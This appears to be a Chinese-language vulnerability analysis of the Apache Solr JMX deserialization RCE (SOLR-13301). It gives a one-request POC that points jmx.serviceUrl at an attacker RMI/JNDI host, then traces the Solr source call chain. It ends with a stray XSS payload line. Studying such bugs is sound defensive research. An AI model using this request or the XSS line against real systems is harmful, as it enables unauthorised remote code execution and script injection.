概述
挖src碰到了一个solr的环境,然后看到国外有人提交了一个关于solr rce的漏洞。
漏洞链接(https://issues.apache.org/jira/browse/SOLR-13301)
看描述是因为JMX造成的反序列化漏洞。因此分析复现一遍。
POC
URL:http://localhost/solr/[corename]/config"
PostBody:
{"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://IP:PORT/obj}}
分析
我本地环境为jdk7u21+solr5.3.0
搭建环境具体过程就不说了,就是ant编译源码然后IDEA挂载跑起来就行。
因为solr有一个类webapp的东西,所以首先查看入口点也就是web.xml
如图所示:
有一个全局的filter,跟进这个filter看一下内容:
Filter函数关键的地方在这里,跟进这个call函数查看一下内容:
这里调用了一个init函数,也就是初始化的操作,跟进这个函数看一下对路由的处理:
相应的代码点功能我都写了注释。这段代码主要是判断路由的情况。而下面这段代码很关键的地方在于设置了action为PROCESS。然后return
至此,初始化的操作完毕,我们也知道了是如何解析URL的,并且将action设为了PROCESS,然后回到call函数,继续看,发现对action有个switch操作,如图所示:
这里我们进入case PROCESS这个分支,核心操作在execute(solrRsp),跟入查看:
这里又继续调用了一个execute函数,跟进查看:
这里调用了关键函数,handleRequest,跟进这个函数查看:
关键点在handleRequestBody函数,有很多类重写了这个函数,我们跟到SolrConfigHandler这个类中去:
当请求方法为POST的时候,调用command.handlePOST(),跟进该函数:
函数第一行的功能是解析POSTbody,将JSON解析为List,因此ops和opsCopy存放的是我们传入的数据。而 overlay是从原来的配置文件中取出的数据,也就是corename/conf/configoverlay.json。如果没有的话,这里是空。
然后将这两个变量带入到了handleCommands函数中继续处理,跟进:
这里根据传入的name来判断进入哪个分支,常量对应表为
我们需要进入SET_PROPERTY分支,该分支调用了一个applySetProp函数,跟进:
这里将name和val单独取出来。带入到该函数末尾的
跟进该函数:
其实就是一个组装键值的过程,然后最后将组装好的jsonObj带入到ConfigOverlay构造函数中:
注意这个props和data此时已经包含了发送的payload。
然后依次返回到handleCommands函数中case分支完成。然后到handleCommands最后的的代码:
首先看到persistConfLocally这个函数,传递了三个参数进去,第一个是resourceloader,第二个是一个字符串常量,值为:
第三个比较重要,是overlay.toByteArray,而这个overlay是上文中return回来的ConfigOverlay对象,那么看一下这个类的toByteArray函数实现:
就是一个值转Json的操作,这里是data,而这个data上文说过,包含了我们的payload。
参数都搞清楚了,那么然后回到persistConfLocally函数,看一下操作:
这个函数功能很简单,就是将包含payload的json数据写入到我们的configoverlay.json文件中。
OK,调用完persistConfLocally之后,又调用了一个reload函数,看一下:
注意红框处的函数,是真正的漏洞触发点。调用了一个getConfig函数,跟进:
这里调用createSolrConfig创建SolrConfig对象,跟进:
继续跟进:
这里new了一个SolrConfig对象,name是一个字符串,值为solrconfig.xml
SolrConfig类的构造函数很长,关键点在
这里设置了jmxconfig的值,首先调用了getNode函数查看solrConfig.xml中是否有jmx节点,如果有(这里是有的)就调用get函数将configoverlay.json中对应的数据取出来,这里有一个get("jmx/@serviceUrl")的操作,其实就是将上文写入configoverlay.json中的远程serviceUrl取出来。另外这jmxconfig是一个JmxConfiguration对象,看一下构造函数:
我们的serviceUrl是第三个参数,被设置为了成员变量serviceUrl的值。
然后继续层层返回,返回到reload函数中:
reload函数中也调用了一个reload函数,这函数中存在真正的触发点,跟入查看:
这里new了一个SolrCore对象,注意第三个参数,coreConfig.getSolrConfig()这个函数其实是返回的上文new的SolrConfig对象,然后跟进SolrCore类的构造函数,该构造函数中有这样一段代码:
跟入initInfoRegistry函数:
这里进入到if分支,该分支里new了一个JmxMonitoredMap对象,注意传入的第三个参数,是config.jmxConfig。也就是SolrConfig的jmxConfig成员,这个成员上文有强调。jmxConfig成员是一个JmxConfiguration对象,它的成员serviceUrl是可控的,包含的是我们的payload。
然后进入JmxMonitoredMap对象的构造函数:
这一段调用JMX,传入可控的serviceUrl,导致反序列化RCE。
<img/src/onerror=alert('你刀掉了')>